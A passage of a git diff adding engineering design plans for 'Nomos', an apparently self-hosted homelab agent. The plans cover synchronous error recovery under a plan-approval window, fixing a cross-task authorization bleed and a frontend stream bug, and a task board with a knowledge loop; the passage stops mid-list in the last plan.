|
||||
## The real problem (not the one we kept fixing)
|
||||
|
||||
Operator, verbatim: *"the agent seems to stop when it encounters the first error,
|
||||
it does not recover from it… my goal is that the agent can do anything once a
|
||||
plan has been approved."*
|
||||
|
||||
We have patched ~10 individual failure modes (DNS, gateway, sshExec timeout,
|
||||
substring bug, slug collisions, docker CLI, assent window…). Every one was real.
|
||||
None fixed the thing the operator keeps hitting, because they all fixed
|
||||
**individual commands** — and the problem is the **loop**, not the commands.
|
||||
|
||||
## Root cause: the agent never sees the result of the thing it started
|
||||
|
||||
The agent runs in discrete request→response turns. Provisioning executions are
|
||||
**asynchronous**: `request_execution(pct_create)` queues an execution, fires the
|
||||
real SSH work in a **goroutine** (`go executeApprovedViaAPI(...)`,
|
||||
[internal/mcp/server.go](../internal/mcp/server.go)), and returns
|
||||
*"provisioning now"* immediately. The multi-minute result lands in the DB
|
||||
**after the agent's turn has already ended.**
|
||||
|
||||
So the agent literally is not running when the error happens. It cannot react to
|
||||
a failure it never observes. The only way the result re-enters the agent's
|
||||
reasoning is if a human types "continue" to start a new turn — **the human is the
|
||||
event loop.** Read the failing session
|
||||
(`7c25edaa`, 18 messages): the operator typed "continue" / "continue?" / "??" /
|
||||
"proceed" **eight times**, each one just ticking the agent forward one async step.
|
||||
The agent *was* recovering (it correctly diagnosed the docker-CLI issue and
|
||||
proposed fixes) — it simply could not proceed one step without a human tick.
|
||||
|
||||
Two concrete asymmetries prove the diagnosis:
|
||||
|
||||
1. **`run` is synchronous, `pct_create` is async.** Inside an assent window, the
|
||||
general `run` tool executes the command inline and returns stdout/exit-status
|
||||
to the agent ([server.go](../internal/mcp/server.go) ~L514) — the agent *sees*
|
||||
the result and can continue. `pct_create` in the same window auto-approves and
|
||||
then `go`-routines the work — the agent sees nothing. The failure-prone path
|
||||
is the unobservable one.
|
||||
2. **`pct_create` is monolithic and all-or-nothing.** It does create + apt +
|
||||
docker + post_install + verify in one SSH call. Even if it were synchronous,
|
||||
the agent could only see "the whole thing failed at some point," not step 3 of
|
||||
6 — so it can't surgically fix step 3 and resume. Recovery *requires*
|
||||
intermediate observation.
|
||||
|
||||
Secondary (real but downstream): "continue" is **not** an assent word
|
||||
([cmd/nomos/assent.go](../cmd/nomos/assent.go)), so in that session the assent
|
||||
window never even opened — every step stayed gated, compounding the ticking.
|
||||
|
||||
## The reframe: Nomos should work like a coding agent
|
||||
|
||||
A coding agent (Claude Code) runs a command, **sees the output**, runs the next,
|
||||
fixes errors inline, all in one continuous session — it does not stop and ask a
|
||||
human to forward it after each command. That is exactly "do anything once the
|
||||
plan is approved." The homelab agent needs the same loop:
|
||||
|
||||
> approve the plan → agent runs step → **observes result** → runs next step / on
|
||||
> failure diagnoses + adapts + retries → … → verifies goal met → reports.
|
||||
|
||||
The machinery for this **already exists** in the `run` tool (synchronous,
|
||||
observable, auto-executing within an assent window). Provisioning just doesn't
|
||||
use it — it uses a black box. The fix is to make the whole system consistent
|
||||
with the model `run` already embodies.
|
||||
|
||||
## Target architecture
|
||||
|
||||
### 1. One observable primitive; retire the async black box
|
||||
|
||||
- Everything the agent does — including provisioning — is a sequence of
|
||||
**synchronous `run` calls** whose real output (stdout, stderr, exit code)
|
||||
returns inline. No goroutine hand-off for agent-initiated work.
|
||||
- **Decompose `pct_create`.** Keep a thin `pct_create` that only does the fast,
|
||||
atomic container creation (create + start + register), returning synchronously.
|
||||
Move package install / service setup / post_install / verify **out** into
|
||||
agent-driven `run` steps. Now the agent observes each step and can fix a
|
||||
failed one without redoing the container.
|
||||
- Net: the agent orchestrates `create → apt → install → configure → up → verify`,
|
||||
seeing each result, exactly like a human operator at a shell.
|
||||
|
||||
### 2. Approve the plan = an autonomy grant the agent executes to completion
|
||||
|
||||
- The assent/autonomy window already exists. Make it robust:
|
||||
- Opening it must not depend on a magic word list. "continue", "go", "do it",
|
||||
"proceed", clicking Approve, or approving the first queued step should all
|
||||
open/extend it. Safer: when the operator approves ANY step of a plan, treat
|
||||
that as opening the window for the rest of that plan.
|
||||
- Within the window: read-only + config_mutation `run` steps execute inline,
|
||||
no re-prompt. **Destructive still stops** for typed confirmation — but a
|
||||
destructive step *described in the approved plan* can be pre-authorized so
|
||||
the agent isn't blocked mid-flow on something already shown and approved.
|
||||
- The window is the scope boundary: "you may do what the plan needs on this
|
||||
target; you may not wander outside it."
|
||||
|
||||
### 3. The agent persists through errors (prompt + loop)
|
||||
|
||||
- SOUL: "You are the executor of the approved plan. Run it step by step,
|
||||
observing each result. **On failure, do not stop and hand back — diagnose
|
||||
(read logs / inspect state), form a hypothesis, fix it, and retry or take an
|
||||
alternative path.** Continue until the goal is verified working or you are
|
||||
genuinely blocked (you need information only the operator has, or a step
|
||||
exceeds the approved scope). Never end a turn with a half-finished plan just
|
||||
because one command failed."
|
||||
- `maxIterations` sized for a full provision-with-recovery (raise 25 → ~40) and
|
||||
count observation/read-only steps cheaply so recovery attempts aren't starved.
|
||||
|
||||
### 4. Long-running steps: keep the turn alive, or auto-continue
|
||||
|
||||
A synchronous `apt install` is ~1–2 min; a full stack up is longer. Options,
|
||||
in preference order:
|
||||
- **A (simplest, ship first):** synchronous `run` with the existing 10-min cap;
|
||||
the streaming turn stays open (the chat UI already holds the SSE). Emit
|
||||
progress events so the operator sees liveness (already built — elapsed timer).
|
||||
- **B (for very long ops):** event-driven auto-continuation — when an async
|
||||
execution tied to an active plan completes, a worker **re-invokes Nomos**
|
||||
automatically with the result (the system becomes the event loop, not the
|
||||
human). More plumbing; do only if A's long turns prove problematic.
|
||||
|
||||
## Why this is the root fix, not another patch
|
||||
|
||||
Every prior fix made an individual command more likely to succeed. This makes
|
||||
the agent able to **notice and respond when one doesn't** — which is the only
|
||||
thing that generalizes to "do anything," because "anything" always includes
|
||||
"the first thing didn't work." You cannot enumerate every failure mode of an
|
||||
unbounded action space; you can give the agent a loop that observes and adapts.
|
||||
|
||||
## Implementation order
|
||||
|
||||
1. **Make provisioning observable**: decompose `pct_create` into a fast atomic
|
||||
create + agent-orchestrated `run` steps for install/config/verify. (Biggest
|
||||
single win — removes the async black box from the failure-prone path.)
|
||||
2. **Robust window open**: any approval / any forward-assent opens/extends it;
|
||||
pre-authorize plan-described destructive steps.
|
||||
3. **SOUL persist-through-errors** framing + `maxIterations` bump.
|
||||
4. Verify end-to-end (below). Only then consider **B** (auto-continuation).
|
||||
|
||||
## Verification
|
||||
|
||||
- Re-run the exact TypeType deploy. Expected: operator approves the plan **once**;
|
||||
the agent then creates the container, installs docker (recovering from the
|
||||
Debian docker.io-CLI gap on its own by falling back to get.docker.com), brings
|
||||
up the stack, hits a transient error (e.g. Docker Hub 500), **retries on its
|
||||
own**, verifies `:8082` responds, and reports success — **with zero additional
|
||||
"continue" ticks from the operator.**
|
||||
- Failure injection: point a step at a wrong path; confirm the agent reads the
|
||||
error, adapts, and continues rather than ending the turn.
|
||||
|
||||
## Open questions
|
||||
|
||||
- **Scope of an autonomy window**: per-plan, per-target, time-boxed (30 min now)?
|
||||
What exactly may the agent do inside it without asking again?
|
||||
- **Pre-authorized destructive steps**: allow a plan to include a named
|
||||
destructive step (e.g. "destroy the half-provisioned CT and redo") that the
|
||||
agent may execute during recovery without a fresh typed confirmation, since
|
||||
the plan approval covered it? Or always re-confirm destructive, accepting the
|
||||
interruption?
|
||||
- **A vs B**: is a single 5–10 min streaming turn acceptable, or do we need
|
||||
event-driven auto-continuation from the start?
|
||||
235
plans/done/2026-07-11-concurrent-task-execution.md
Normal file
235
plans/done/2026-07-11-concurrent-task-execution.md
Normal file
@@ -0,0 +1,235 @@
|
||||
# 2026-07-11 — Concurrent task execution: safety + throughput + frontend correctness
|
||||
|
||||
**Status:** Done — 2026-07-11. All three required fixes shipped and deployed:
|
||||
session-scoped assent/destructive windows (commit `9ef1ba3`), the frontend
|
||||
stream-corruption guard + per-session controllers (`9131559`, `6a8fb43`), and
|
||||
the per-session MCP client pool (`a4ea542`). Fix 4 (concurrency/cost cap)
|
||||
remains explicitly deferred pending real usage data, per this doc's own
|
||||
recommendation.
|
||||
|
||||
## Goal
|
||||
|
||||
Multiple tasks already run "at the same time" at the HTTP/goroutine level —
|
||||
nothing in nomos serializes whole turns. But tracing the actual code (not
|
||||
assuming) surfaces three real gaps that make concurrent tasks unsafe or
|
||||
broken today, in decreasing severity: a **cross-task authorization bleed**, a
|
||||
**throughput bottleneck** that makes concurrency mostly illusory, and a
|
||||
**frontend state-corruption bug**. This plan fixes all three.
|
||||
|
||||
## Findings (grounded)
|
||||
|
||||
### 1. CRITICAL — the assent window is scoped to the agent, not the task
|
||||
|
||||
[store.go:816](../../cmd/nomos/store.go), [agent.go:129-143](../../cmd/nomos/agent.go):
|
||||
`openAssentWindow`/`assentWindowActive` key on `"assent_window.agent:" +
|
||||
a.agentID.String()` — there is exactly one `agent:nomos` entity, so this key
|
||||
is **global across every task**. It's checked at three MCP call sites
|
||||
([internal/mcp/server.go:454](../../internal/mcp/server.go), :488, :1363) purely
|
||||
as "does *the agent* currently have an open window," with no way to know
|
||||
which task's tool call is asking.
|
||||
|
||||
**Concrete failure**: operator approves Task A's plan → 30-minute window
|
||||
opens → operator starts Task B while that window is still open → Task B's
|
||||
`run`/`request_execution` config-mutation calls **also auto-execute**,
|
||||
because the check has no session dimension. The operator never approved
|
||||
Task B's plan.
|
||||
|
||||
[store.go:313-345](../../cmd/nomos/store.go) `destructiveWindowKey`/
|
||||
`openDestructiveWindow`/`destructiveWindowActive` have the same shape (keyed
|
||||
`agent:<id>.target:<slug>`, no session) — narrower blast radius (needs a
|
||||
second task hitting the *same target* within 15 minutes of an explicit typed
|
||||
confirmation elsewhere) but the same class of bug.
|
||||
|
||||
### 2. Tool calls across ALL tasks funnel through one mutex — concurrency is mostly illusory
|
||||
|
||||
[main.go:45](../../cmd/nomos/main.go): nomos creates exactly **one**
|
||||
`*mcpClient` at startup, shared by every `handleChat` goroutine. Its `mu
|
||||
sync.Mutex` ([main.go:419](../../cmd/nomos/main.go)) is held for the full
|
||||
duration of each `doRequest` round-trip. `run`'s MCP handler executes the SSH
|
||||
command *synchronously inside that round-trip* and is capped at up to **10
|
||||
minutes**. So while Task A is mid-`run`, every other task's tool calls —
|
||||
even a trivial `get_entity` — queue behind that single mutex until it
|
||||
returns. Tasks can think (LLM calls) in parallel, but cannot act in parallel;
|
||||
one slow task stalls all others' progress.
|
||||
|
||||
The MCP *server* side has no session-scoped in-memory state to protect —
|
||||
`newServer(pool, agentID)` returns one shared `*mcp.Server` instance whose
|
||||
tool handlers close only over `pool` (safe for concurrent use — pgxpool is a
|
||||
connection pool) and `agentID` ([internal/mcp/server.go:51-74](../../internal/mcp/server.go)).
|
||||
The mutex exists purely because nomos's *client* reuses one stateful
|
||||
transport session, not because the server needs it. This is fixable without
|
||||
touching the server.
|
||||
|
||||
### 3. Frontend: the chat store is a global singleton — switching tasks mid-stream corrupts the view
|
||||
|
||||
[chat.ts:160-269](../../web/src/lib/stores/chat.ts) `sendMessage`'s SSE callback
|
||||
mutates `messages`/`currentSession` by reaching for `ms[ms.length - 1]` —
|
||||
i.e. it assumes the array it's mutating still belongs to the task it was
|
||||
opened for. Nothing in the callback checks that. [chat.ts:111-117](../../web/src/lib/stores/chat.ts)
|
||||
`loadSessionMessages` (fired when you click a different task in the sidebar
|
||||
or the board) does not cancel or otherwise account for a still-open stream
|
||||
from the task you're leaving — it just calls `messages.set(...)` and
|
||||
`currentSession.set(sessionId)`.
|
||||
|
||||
**Concrete failure**: start Task A, while it's still streaming click into
|
||||
Task B from the Tasks board → `messages`/`currentSession` now reflect Task
|
||||
B → Task A's still-open SSE stream delivers its next `tool_use`/`text_delta`
|
||||
→ the callback appends it onto what is now *Task B's* last message, and on
|
||||
`done` calls `currentSession.set(taskAId)`, flipping the app back to Task A
|
||||
underneath the operator. This is a real bug independent of anything else in
|
||||
this plan — it's why "switch away from a running task to start another"
|
||||
currently looks broken even though the backend handles it fine.
|
||||
|
||||
(By contrast, [workspace.ts](../../web/src/lib/stores/workspace.ts)'s live
|
||||
events are already correctly session-scoped — `applyEvent` checks
|
||||
`ev.correlation_id !== sid` before doing anything — because that mechanism
|
||||
was built for this from phase 6. The bug is confined to the older,
|
||||
per-turn `chat.ts` streaming path.)
|
||||
|
||||
### Already fine, no change needed
|
||||
|
||||
- **DB access**: `pgxpool.Pool` is a connection pool; concurrent queries from
|
||||
multiple task goroutines are its normal use case.
|
||||
- **Auto-continuation worker** ([continue.go](../../cmd/nomos/continue.go)):
|
||||
already scoped per session (`pendingContinuation.SessionID`) — processes
|
||||
its poll batch sequentially (5/tick) but never mixes state across
|
||||
sessions. Sequential processing is a throughput nit, not a correctness bug;
|
||||
not in scope here.
|
||||
- **Task board** ([Tasks.svelte](../../web/src/pages/Tasks.svelte)): event-driven
|
||||
refresh already handles any number of concurrently-changing tasks correctly
|
||||
— it re-lists, it doesn't hold per-task live state.
|
||||
|
||||
## Design
|
||||
|
||||
### Fix 1 — session-scope the assent and destructive windows
|
||||
|
||||
Thread `sessionID` through to the MCP call sites. nomos already knows the
|
||||
session id when it calls a tool ([agent.go:363](../../cmd/nomos/agent.go)); the
|
||||
MCP wire protocol doesn't restrict tool-call args to the declared schema
|
||||
(`argsMap` just unmarshals whatever JSON object arrives), so nomos can inject
|
||||
an internal `_session_id` into the args it sends over the wire — invisible to
|
||||
the model (never in the tool's `InputSchema`, so it never appears in what the
|
||||
LLM sees or is asked to supply) but readable server-side.
|
||||
|
||||
- `agent.go`: build a wire-args copy with `_session_id` added just before
|
||||
`a.client.callTool(...)` (leave the args used for history/logging
|
||||
unmodified — the model's own tool-call record shouldn't show an internal
|
||||
field it never set).
|
||||
- `internal/mcp/server.go`: `assentWindowActive`/`openAssentWindow`/
|
||||
`destructiveWindow*` gain a `sessionID` parameter; the key becomes
|
||||
`assent_window.agent:<id>.session:<sessionID>` (and similarly for the
|
||||
destructive window). Every call site (`run`, `request_execution`, the
|
||||
`apt_upgrade`/`pct_create` sub-cases) reads `_session_id` from `argsMap`
|
||||
and passes it through.
|
||||
- `agent.go` `openAssentWindow` gains the same `sessionID` param, called from
|
||||
its two existing call sites ([agent.go:253](../../cmd/nomos/agent.go), :269),
|
||||
which are already inside `chatWith` and have `sessionID` in scope.
|
||||
- Fallback: if `_session_id` is missing (defensive — shouldn't happen since
|
||||
nomos always sets it), treat as "no window" (fail closed, require
|
||||
approval) rather than falling back to the old agent-wide key.
|
||||
|
||||
### Fix 2 — per-session MCP client (remove the throughput bottleneck)
|
||||
|
||||
Replace the single global `*mcpClient` with a small **map of clients keyed
|
||||
by session id**, created lazily on first tool call for that session and
|
||||
evicted after a period of inactivity (e.g. 10 minutes past the session's last
|
||||
activity — long enough to outlive a slow `run`, short enough not to leak
|
||||
connections for abandoned tasks). Guard the map itself with a mutex (cheap —
|
||||
only held for map lookup/insert, not for the duration of a call); each
|
||||
individual client keeps its own `mu` scoped to *its own* session's calls,
|
||||
so Task A's slow `run` only serializes Task A's own tool calls (which are
|
||||
already inherently sequential within one turn — the agent loop calls tools
|
||||
one at a time) and never blocks Task B.
|
||||
|
||||
- New `mcpClientPool` type in `cmd/nomos`: `get(sessionID) *mcpClient`
|
||||
(creates+initializes on miss), `sweep()` (evicts idle clients, called on a
|
||||
ticker alongside the existing continuation-worker ticker).
|
||||
`"ephemeral"`/`""` session ids (no persisted session) get their own
|
||||
dedicated client, not pooled per-request, to avoid a connection-per-message
|
||||
churn for the no-DB-store path.
|
||||
- `agent` holds the pool instead of one `client`; `handleQuery` (the
|
||||
structured `/query` endpoint, [main.go:330](../../cmd/nomos/main.go)) picks a
|
||||
short-lived or dedicated client the same way.
|
||||
- No server-side change needed (per finding 2's analysis — the server has no
|
||||
per-connection state to protect).
|
||||
|
||||
### Fix 3 — frontend: don't let a background stream corrupt the active view
|
||||
|
||||
Minimal, contained fix (not a rearchitecture): capture the session id a
|
||||
`sendMessage` stream belongs to, and have its callback check that
|
||||
`currentSession` still matches before mutating `messages`/`streaming`. If the
|
||||
operator has navigated away, the stream's events are silently dropped from
|
||||
the UI (the task keeps running server-side regardless — the events are also
|
||||
flowing on the global stream, and if the operator navigates back,
|
||||
`loadSessionMessages`'s poll + REST hydration picks up whatever landed while
|
||||
they were away, same as it already does for auto-continuation).
|
||||
|
||||
- `chat.ts` `sendMessage`: capture `const streamSessionID = ...` once the
|
||||
`'session'` event assigns it; every subsequent branch of the callback
|
||||
(`tool_use`, `tool_result`, `text_delta`, `text`, `done`, `error`) first
|
||||
checks `get(currentSession) === streamSessionID` (or the pre-assignment
|
||||
optimistic session) before touching `messages`.
|
||||
- `loadSessionMessages`: no change needed once the above guard exists — it
|
||||
already correctly sets `messages`/`currentSession` for the task being
|
||||
opened; the guard just stops the *other* task's stream from clobbering it
|
||||
afterward.
|
||||
- Out of scope for this pass: a genuine multi-pane "watch two tasks stream
|
||||
live side by side" UI. Not needed for correctness — the Tasks board already
|
||||
shows live status for every task via `workspace.ts`'s correctly-scoped
|
||||
events; only the single-focus Chat transcript view needs this guard.
|
||||
|
||||
### Fix 4 (optional) — a concurrency/cost guardrail
|
||||
|
||||
Nothing currently stops an operator from starting many tasks in a tight loop,
|
||||
each spending real LLM API budget in parallel. Consider a simple semaphore in
|
||||
nomos (`NOMOS_MAX_CONCURRENT_TASKS`, default e.g. 5) that `handleChat` acquires
|
||||
before starting a turn and releases on completion; over the cap, queue or
|
||||
reject with a clear "N tasks already running, try again shortly" rather than
|
||||
letting an unbounded burst hit OpenRouter. This is an operational safeguard,
|
||||
not a correctness fix — flagged as optional/lower priority.
|
||||
|
||||
## Implementation order
|
||||
|
||||
1. **Fix 1 (assent/destructive window session-scoping)** — the only one that's
|
||||
a genuine safety bug (auto-running unapproved actions in another task);
|
||||
ship first regardless of anything else.
|
||||
2. **Fix 3 (frontend stream guard)** — small, contained, fixes a visibly
|
||||
broken UX (switching tasks looks corrupted) independent of Fix 2.
|
||||
3. **Fix 2 (per-session MCP client pool)** — the throughput fix; more moving
|
||||
parts (lifecycle/eviction), ship after the safety fix lands and is
|
||||
verified, since both touch the same call sites (`agent.go` tool dispatch).
|
||||
4. **Fix 4 (concurrency cap)** — optional, only if real usage shows a need.
|
||||
|
||||
## Verification
|
||||
|
||||
- **Fix 1**: approve Task A's plan (open its window); concurrently start Task
|
||||
B and have it attempt a config-mutation `run` command *without* approving
|
||||
Task B's plan — confirm Task B's action is queued for approval (not
|
||||
auto-run), while Task A's own subsequent steps keep auto-running.
|
||||
`SELECT key FROM autonomy_settings WHERE key LIKE 'assent_window%'` should
|
||||
show session-scoped keys.
|
||||
- **Fix 2**: start Task A with a `run` step that sleeps ~60s; concurrently
|
||||
start Task B with a trivial `get_entity` call; confirm Task B's tool result
|
||||
returns immediately rather than waiting on Task A. Confirm the client map
|
||||
evicts idle entries (`sweep()` logged, connection count doesn't grow
|
||||
unbounded across many sequential tasks).
|
||||
- **Fix 3**: start Task A, before it finishes click into Task B on the
|
||||
board, confirm Task B's transcript stays correct (no Task-A tool calls
|
||||
appended) and `currentSession` doesn't flip back to Task A when its stream
|
||||
eventually completes in the background. Navigate back to Task A afterward
|
||||
and confirm its full transcript (including what happened while unwatched)
|
||||
loads correctly via REST.
|
||||
|
||||
## Open questions
|
||||
|
||||
- **Idle eviction window for Fix 2**: 10 minutes was a guess balancing
|
||||
"outlive a slow `run`" against "don't leak connections." Worth checking
|
||||
actual `run` durations in production (`executions.duration_ms`) before
|
||||
picking a final number.
|
||||
- **Fix 4's cap and behavior on overflow**: queue vs. reject vs. no cap at
|
||||
all — depends on real usage patterns once concurrent tasks are actually
|
||||
safe (Fix 1) and performant (Fix 2). Defer the decision until there's
|
||||
data.
|
||||
- **Destructive-window session-scoping**: bundle into Fix 1 (same shape, same
|
||||
PR) or treat as a follow-up given its narrower blast radius? Leaning bundle
|
||||
— it's the same three-line change pattern applied to one more function.
|
||||
312
plans/done/2026-07-11-goal-oriented-chat-control-panel.md
Normal file
312
plans/done/2026-07-11-goal-oriented-chat-control-panel.md
Normal file
@@ -0,0 +1,312 @@
|
||||
# 2026-07-11 — Tasks: the chat page as goal-structured autonomous work
|
||||
|
||||
**Status:** Done — 2026-07-11. All 7 phases shipped and deployed (SHA
|
||||
`e30813a`): task schema + entity anchor, `entity.touched`/`involves` live
|
||||
tracking, the `complete_task`/knowledge-retrieval loop, structured
|
||||
`propose_plan`/`update_plan_step` (with an append-not-replace fix for
|
||||
mid-flight re-proposals), `ask_operator` pause/resume, the Tasks board, and
|
||||
the live `TaskContextPanel`. Follow-up hardening tracked separately in
|
||||
[concurrent-task-execution](../2026-07-11-concurrent-task-execution.md).
|
||||
Supersedes the sidebar-only framing and the Chat portion of
|
||||
[control-room-webui](../2026-07-08-control-room-webui.md), which described
|
||||
chat as a free-form session list.
|
||||
|
||||
## The vision (operator, distilled)
|
||||
|
||||
> Structure the whole chat page as **tasks**. A task is a card — you see its
|
||||
> status (running / completed / failed), its description. A task *is* a goal:
|
||||
> "install the service", "give me the key status of X". The agent takes the
|
||||
> goal, finds what it needs, **proposes a plan, the operator approves it once —
|
||||
> that single approval is the only one needed — and the agent then executes the
|
||||
> whole plan autonomously until the goal is achieved.** Every task has a
|
||||
> completion status: successful or not, and its **learnings move to knowledge**,
|
||||
> attached via **relationships** to the entities that were involved, so future
|
||||
> tasks — successful or unsuccessful — make the agent better over time. Inside a
|
||||
> task is the conversation (tools, thinking, questions if needed); the sidebar
|
||||
> shows the live context: which entities the agent is exploring, the steps and
|
||||
> their status, whether the task succeeded, and the knowledge it recorded — all
|
||||
> populated in **real time** as the agent works.
|
||||
|
||||
Three pillars: **task as the unit**, **one approval → autonomous execution**,
|
||||
**a knowledge loop that compounds**.
|
||||
|
||||
## The reframe
|
||||
|
||||
Today a "session" is a title + a flat message list
|
||||
([migrations/015](../../migrations/015_agent_sessions.up.sql)); a "plan" is prose
|
||||
the model types; there is no goal, status, outcome, or step object. We elevate
|
||||
the session into a **task**:
|
||||
|
||||
- **A task = a session with a goal, a plan, a lifecycle status, and an
|
||||
outcome.** One task per chat. The chat page becomes a **task board** of
|
||||
status cards; opening a card shows the task: conversation in the center, live
|
||||
context in the sidebar.
|
||||
- **The plan is approved once.** Machinery already exists — the assent window +
|
||||
event-driven auto-continuation shipped in
|
||||
[autonomous-plan-execution](2026-07-10-autonomous-plan-execution.md)
|
||||
([continue.go](../../cmd/nomos/continue.go), [assent.go](../../cmd/nomos/assent.go))
|
||||
already turn a single approval into an autonomy grant the agent runs to
|
||||
completion. This plan gives that flow a **structured surface**: the one thing
|
||||
the operator approves is a named, stepped plan, and progress is visible.
|
||||
- **On completion the task deposits knowledge**, linked by relationships to the
|
||||
entities involved *and to the task itself*, tagged success/failure — and
|
||||
**future tasks read it back at planning time.** The substrate exists:
|
||||
`upsert_knowledge` writes a knowledge doc-entity and a `documents`
|
||||
relationship ([server.go:1519](../../internal/mcp/server.go));
|
||||
`get_entity_knowledge` reads it ([server.go:170](../../internal/mcp/server.go)).
|
||||
We add task-linkage, an outcome flavor, and retrieval-at-planning.
|
||||
|
||||
## Builds on / aligns with
|
||||
|
||||
- [general-gated-execution](../2026-07-10-general-gated-execution.md) — the
|
||||
classifier + `run` primitive is the execution substrate; a plan step is just
|
||||
a described unit of work mapping to a `run`/`request_execution` call. **No
|
||||
fixed step enum.**
|
||||
- [autonomous-plan-execution](2026-07-10-autonomous-plan-execution.md) —
|
||||
the single-approval autonomy window + auto-continuation loop.
|
||||
- The knowledge tools + relationships graph (`upsert_knowledge`,
|
||||
`get_entity_knowledge`, `get_relations`, the temporal `relationships` table).
|
||||
|
||||
## Data model (migration `018_tasks.up.sql`)
|
||||
|
||||
Elevate the session into a task; add plan steps, questions, and the
|
||||
task→knowledge linkage.
|
||||
|
||||
```sql
|
||||
ALTER TABLE agent_sessions
|
||||
ADD COLUMN goal TEXT NOT NULL DEFAULT '',
|
||||
ADD COLUMN status TEXT NOT NULL DEFAULT 'active',
|
||||
-- active | planning | awaiting_approval | executing
|
||||
-- | awaiting_input | done | failed | abandoned
|
||||
ADD COLUMN outcome TEXT, -- success | failure | partial (NULL until done)
|
||||
ADD COLUMN summary TEXT NOT NULL DEFAULT '', -- one-line result, shown on the card
|
||||
ADD COLUMN entity_id UUID; -- the task's OWN entity (type 'task'), for
|
||||
-- knowledge/relationship linkage (see below)
|
||||
|
||||
CREATE TABLE session_plan_steps (
|
||||
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
session_id UUID NOT NULL REFERENCES agent_sessions(id) ON DELETE CASCADE,
|
||||
seq INT NOT NULL,
|
||||
title TEXT NOT NULL,
|
||||
detail TEXT NOT NULL DEFAULT '',
|
||||
status TEXT NOT NULL DEFAULT 'pending',
|
||||
-- pending | running | done | failed | skipped | blocked
|
||||
execution_id UUID,
|
||||
target_slug TEXT,
|
||||
started_at TIMESTAMPTZ,
|
||||
finished_at TIMESTAMPTZ,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now()
|
||||
);
|
||||
CREATE INDEX idx_plan_steps_session ON session_plan_steps(session_id, seq);
|
||||
|
||||
CREATE TABLE session_questions (
|
||||
id UUID PRIMARY KEY DEFAULT gen_random_uuid(),
|
||||
session_id UUID NOT NULL REFERENCES agent_sessions(id) ON DELETE CASCADE,
|
||||
prompt TEXT NOT NULL,
|
||||
context JSONB NOT NULL DEFAULT '{}', -- { entities:[], options:[], why:"" }
|
||||
status TEXT NOT NULL DEFAULT 'open', -- open | answered | dismissed
|
||||
answer TEXT,
|
||||
created_at TIMESTAMPTZ NOT NULL DEFAULT now(),
|
||||
answered_at TIMESTAMPTZ
|
||||
);
|
||||
CREATE INDEX idx_questions_session_open
|
||||
ON session_questions(session_id) WHERE status = 'open';
|
||||
```
|
||||
|
||||
**The task as an entity.** Each task gets a row in `entities` (type `task`,
|
||||
slug `task:<short-id>`), stored in `agent_sessions.entity_id`. This is what
|
||||
makes the knowledge loop use the *existing* graph machinery unchanged:
|
||||
knowledge and involved-entity links hang off the task entity via
|
||||
`relationships`, exactly like any other entity.
|
||||
|
||||
## Task lifecycle
|
||||
|
||||
```
|
||||
created → planning → awaiting_approval → executing ⇄ awaiting_input → done
|
||||
│ (outcome:
|
||||
└──────────────→ failed success/
|
||||
failure/
|
||||
partial)
|
||||
```
|
||||
|
||||
- **planning**: agent calls `get_entity_knowledge` on the target(s) first (prior
|
||||
learnings), then `set_goal` + `propose_plan`.
|
||||
- **awaiting_approval**: the plan is the single approval gate. Operator approves
|
||||
→ opens the assent window (existing) → **executing**.
|
||||
- **executing**: steps flip pending→running→done via `update_plan_step` and the
|
||||
execution→step auto-close (below); the agent runs autonomously
|
||||
(auto-continuation) with no per-step re-approval.
|
||||
- **awaiting_input**: only when the agent hits a real decision → `ask_operator`;
|
||||
answering resumes execution.
|
||||
- **done/failed**: agent sets `outcome` + `summary` and deposits knowledge.
|
||||
|
||||
## Single approval → autonomous execution
|
||||
|
||||
Already the behaviour of the assent window + auto-continuation. This plan makes
|
||||
the **approved object** a structured plan rather than an individual command:
|
||||
approving the plan (one click / one "go ahead") authorizes every
|
||||
read-only + config-mutation step in it. Destructive steps still require typed
|
||||
confirmation *unless* named in the approved plan (the existing pre-authorized
|
||||
destructive-step rule). Nothing new in the execution engine — we're giving it a
|
||||
legible unit to approve and to show progress against.
|
||||
|
||||
## The knowledge loop (capture → link → retrieve)
|
||||
|
||||
**Capture (task end).** On `done`/`failed`, the agent (nudged by SOUL, enforced
|
||||
by a server-side fallback) calls `upsert_knowledge` with the concrete learning —
|
||||
what worked, what didn't, the gotcha — and we link the resulting knowledge
|
||||
doc-entity to:
|
||||
- the **entities involved** (already supported via `about`), and
|
||||
- the **task entity** (`agent_sessions.entity_id`), via a new
|
||||
`outcome_of` / `produced_by` relationship, tagged
|
||||
`{"outcome":"success|failure"}`.
|
||||
|
||||
**Link.** Involved entities are captured cheaply: every `entity.touched` (below)
|
||||
records a `relationships` edge `task —involved→ entity`. So a task's entity
|
||||
neighborhood *is* its involved-entity set — queryable with the existing
|
||||
`get_relations`.
|
||||
|
||||
**Retrieve (task start).** At **planning**, before proposing, the agent pulls
|
||||
prior knowledge for the target entities (`get_entity_knowledge`) — which now
|
||||
surfaces both successful and failed prior tasks (the outcome tag lets it weight
|
||||
"last time `apt install docker.io` failed on Debian, used get.docker.com
|
||||
instead"). This is the compounding: each task's outcome becomes the next task's
|
||||
prior. SOUL makes this the first planning move.
|
||||
|
||||
## UI
|
||||
|
||||
### Task board (replaces the raw session rail / empty chat state)
|
||||
|
||||
[Sessions.svelte](../../web/src/pages/Sessions.svelte) /
|
||||
[SessionRail.svelte](../../web/src/lib/components/SessionRail.svelte) become a
|
||||
**board of task cards**. Each card:
|
||||
- goal as the title, one-line `summary`,
|
||||
- a **status pill** (running ◐ / awaiting you / done ✓ / failed ✗) with the
|
||||
step progress (`4/6`),
|
||||
- outcome color on completion, knowledge-count badge (♦ 2 learned),
|
||||
- click → open the task.
|
||||
|
||||
Grouped/filterable by status (Running, Needs input, Done, Failed). "New task"
|
||||
replaces "new chat" — the empty state asks for a goal.
|
||||
|
||||
### Task detail = conversation + live context sidebar
|
||||
|
||||
Center column: the existing chat transcript (tools, thinking, questions inline)
|
||||
— unchanged rendering ([Chat.svelte](../../web/src/pages/Chat.svelte)).
|
||||
|
||||
Right sidebar becomes `TaskContextPanel.svelte`, populated **in real time**, top
|
||||
to bottom:
|
||||
1. **GoalHeader** — goal + status pill + outcome (once done); editable goal.
|
||||
2. **PlanProgress** — ordered steps, live status icons, `4/6` bar, click a step
|
||||
→ scroll chat to its tool call / open its execution output.
|
||||
3. **OperatorQuestion** — pinned structured card when a question is open: prompt,
|
||||
